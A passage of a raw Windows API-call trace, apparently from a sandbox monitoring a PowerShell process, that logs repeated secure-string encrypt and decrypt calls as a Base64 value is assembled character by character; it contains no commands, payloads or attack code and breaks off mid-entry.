[0126.681] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f\x9589\xafe0\x4072\xf9e6\xa0b9\x4c2e\x50f6\xf966\x9d12\xdce5\x593\xf3b\x1adb\x28f5\x7480\x40c2\x78c1\x3061\x65de\x19fe\xde2f\x7b04\xa9a8\x7062\xf4ad\xf159\xaf56\x62ea\xb926\xe63\x248\x53c4") returned 0x28 [0126.681] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f\x9589\xafe0\x4072\xf9e6\xa0b9\x4c2e\x50f6\xf966\x9d12\xdce5\x593\xf3b\x1adb\x28f5\x7480\x40c2\x78c1\x3061\x65de\x19fe\xde2f\x7b04\xa9a8\x7062\xf4ad\xf159\xaf56\x62ea\xb926\xe63\x248\x53c4") returned 0x28 [0126.681] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f\x9589\xafe0\x4072\xf9e6\xa0b9\x4c2e\x50f6\xf966\x9d12\xdce5\x593\xf3b\x1adb\x28f5\x7480\x40c2\x78c1\x3061\x65de\x19fe\xde2f\x7b04\xa9a8\x7062\xf4ad\xf159\xaf56\x62ea\xb926\xe63\x248\x53c4") returned 0x28 [0126.681] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f\x9589\xafe0\x4072\xf9e6\xa0b9\x4c2e\x50f6\xf966\x9d12\xdce5\x593\xf3b\x1adb\x28f5\x7480\x40c2\x78c1\x3061\x65de\x19fe\xde2f\x7b04\xa9a8\x7062\xf4ad\xf159\xaf56\x62ea\xb926\xe63\x248\x53c4") returned 0x30 [0126.681] SystemFunction041 (in: Memory=0x8e3128c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3128c) returned 0x0 [0126.681] SysStringLen (param_1="ycUnyZoB3YBD55Pdb+ARjXqTzzZyTSsL7CDMZMUt5揬緦᫶䞳挗") returned 0x30 [0126.681] SystemFunction040 (in: Memory=0x8e3128c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3128c) returned 0x0 [0126.681] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f\x9589\xafe0\x4072\xf9e6\xa0b9\x4c2e\x50f6\xf966\x9d12\xdce5\x593\xf3b\x1adb\x28f5\x7480\x40c2\x78c1\x3061\x65de\x19fe\xde2f\x7b04\xa9a8\x7062\xf4ad\xf159\xaf56\x62ea\xb926\xe63\x248\x53c4\xe3c6\xfcc0\x696d\x359e\xab20\xc3e8\xd1d6\xf59f") returned 0x30 [0126.681] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f\x9589\xafe0\x4072\xf9e6\xa0b9\x4c2e\x50f6\xf966\x9d12\xdce5\x593\xf3b\x1adb\x28f5\x7480\x40c2\x78c1\x3061\x65de\x19fe\xde2f\x7b04\xa9a8\x7062\xf4ad\xf159\xaf56\x62ea\xb926\xe63\x248\x53c4\xe3c6\xfcc0\x696d\x359e\xab20\xc3e8\xd1d6\xf59f") returned 0x30 [0126.681] SystemFunction041 (in: Memory=0x8e3128c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3128c) returned 0x0 [0126.681] SysStringLen (param_1="ycUnyZoB3YBD55Pdb+ARjXqTzzZyTSsL7CDMZMUt50揬緦᫶䞳挗") returned 0x30 [0126.681] SystemFunction040 (in: Memory=0x8e3128c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3128c) returned 0x0 [0126.681] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f\x9589\xafe0\x4072\xf9e6\xa0b9\x4c2e\x50f6\xf966\x9d12\xdce5\x593\xf3b\x1adb\x28f5\x7480\x40c2\x78c1\x3061\x65de\x19fe\xde2f\x7b04\xa9a8\x7062\xf4ad\xf159\xaf56\x62ea\xb926\xe63\x248\x53c4\xa7fa\x91b4\xc79e\xaa67\x5ddd\xd880\xf8e3\x3427") returned 0x30 [0126.681] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f\x9589\xafe0\x4072\xf9e6\xa0b9\x4c2e\x50f6\xf966\x9d12\xdce5\x593\xf3b\x1adb\x28f5\x7480\x40c2\x78c1\x3061\x65de\x19fe\xde2f\x7b04\xa9a8\x7062\xf4ad\xf159\xaf56\x62ea\xb926\xe63\x248\x53c4\xa7fa\x91b4\xc79e\xaa67\x5ddd\xd880\xf8e3\x3427") returned 0x30 [0126.682] SystemFunction041 (in: Memory=0x8e3128c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3128c) returned 0x0 [0126.682] SysStringLen (param_1="ycUnyZoB3YBD55Pdb+ARjXqTzzZyTSsL7CDMZMUt50M揬緦᫶䞳挗") returned 0x30 [0126.682] SystemFunction040 (in: Memory=0x8e3128c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3128c) returned 0x0 [0126.682] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f\x9589\xafe0\x4072\xf9e6\xa0b9\x4c2e\x50f6\xf966\x9d12\xdce5\x593\xf3b\x1adb\x28f5\x7480\x40c2\x78c1\x3061\x65de\x19fe\xde2f\x7b04\xa9a8\x7062\xf4ad\xf159\xaf56\x62ea\xb926\xe63\x248\x53c4\x2f61\xa575\x4d55\x4230\xc889\x15e5\xa3f6\x8bdc") returned 0x30 [0126.682] SysStringLen (param_1="\x8786\x40e9\x8c22\x4a31\x574e\x5431\x8622\xd8f\x9589\xafe0\x4072\xf9e6\xa0b9\x4c2e\x50f6\xf966\x9d12\xdce5\x593\xf3b\x1adb\x28f5\x7480\x40c2\x78c1\x3061\x65de\x19fe\xde2f\x7b04\xa9a8\x7062\xf4ad\xf159\xaf56\x62ea\xb926\xe63\x248\x53c4\x2f61\xa575\x4d55\x4230\xc889\x15e5\xa3f6\x8bdc") returned 0x30 [0126.682] SystemFunction041 (in: Memory=0x8e3128c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3128c) returned 0x0 [0126.682] SysStringLen (param_1="ycUnyZoB3YBD55Pdb+ARjXqTzzZyTSsL7CDMZMUt50M=緦᫶䞳挗") returned 0x30 [0126.682] SystemFunction040 (in: Memory=0x8e3128c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e3128c) returned 0x0 [0126.682] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae650*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae650*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.682] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea5c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea5c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc9, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.682] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.682] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae58c, nSize=0x100 | out: lpBuffer="㡐犯,") returned 0x0 [0126.682] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae964*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae964*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.682] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae8c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae8c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.682] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae954*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xca, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.683] SysStringLen (param_1="") returned 0x8 [0126.683] SysStringLen (param_1="Y") returned 0x8 [0126.683] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.683] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0126.683] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0126.683] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.683] SysStringLen (param_1="YW") returned 0x8 [0126.683] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.683] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0126.683] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0126.683] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.683] SysStringLen (param_1="YWM") returned 0x8 [0126.683] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.683] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0126.683] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0126.683] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.683] SysStringLen (param_1="YWM1") returned 0x8 [0126.683] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.684] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0126.684] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0126.684] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.685] SysStringLen (param_1="YWM1O") returned 0x8 [0126.685] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.685] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0126.685] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0126.685] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.685] SysStringLen (param_1="YWM1OT") returned 0x8 [0126.685] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.685] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0126.685] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0126.685] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.685] SysStringLen (param_1="YWM1OTE") returned 0x8 [0126.685] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.685] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0126.685] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0126.685] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.685] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0126.685] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.685] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0126.686] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0126.686] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0126.686] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0126.686] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.686] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0126.686] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.686] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0126.686] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0126.686] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.686] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0126.686] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.686] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0126.686] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0126.686] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.686] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0126.686] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.686] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0126.686] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0126.686] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.686] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0126.686] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.687] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0126.687] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0126.687] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.687] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0126.687] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.687] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0126.687] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0126.687] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.687] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0126.687] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.687] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0126.687] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0126.687] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.687] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0126.687] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.687] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0126.687] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0126.687] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.687] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0126.687] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.687] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0126.687] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0126.688] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0126.688] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0126.688] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.688] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0126.688] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.688] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0126.688] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0126.688] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.688] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0126.688] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.688] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0126.688] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0126.688] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.688] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0126.688] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.688] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0126.688] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0126.688] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.688] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0126.688] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.688] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0126.689] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0126.689] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.689] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0126.689] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.689] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0126.689] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0126.689] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.689] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0126.689] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.689] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0126.689] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0126.689] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.689] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0126.689] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.689] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0126.689] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0126.689] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.689] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0126.689] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.689] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0126.689] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0126.690] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0126.690] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0126.690] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.690] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0126.690] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.690] SysStringLen 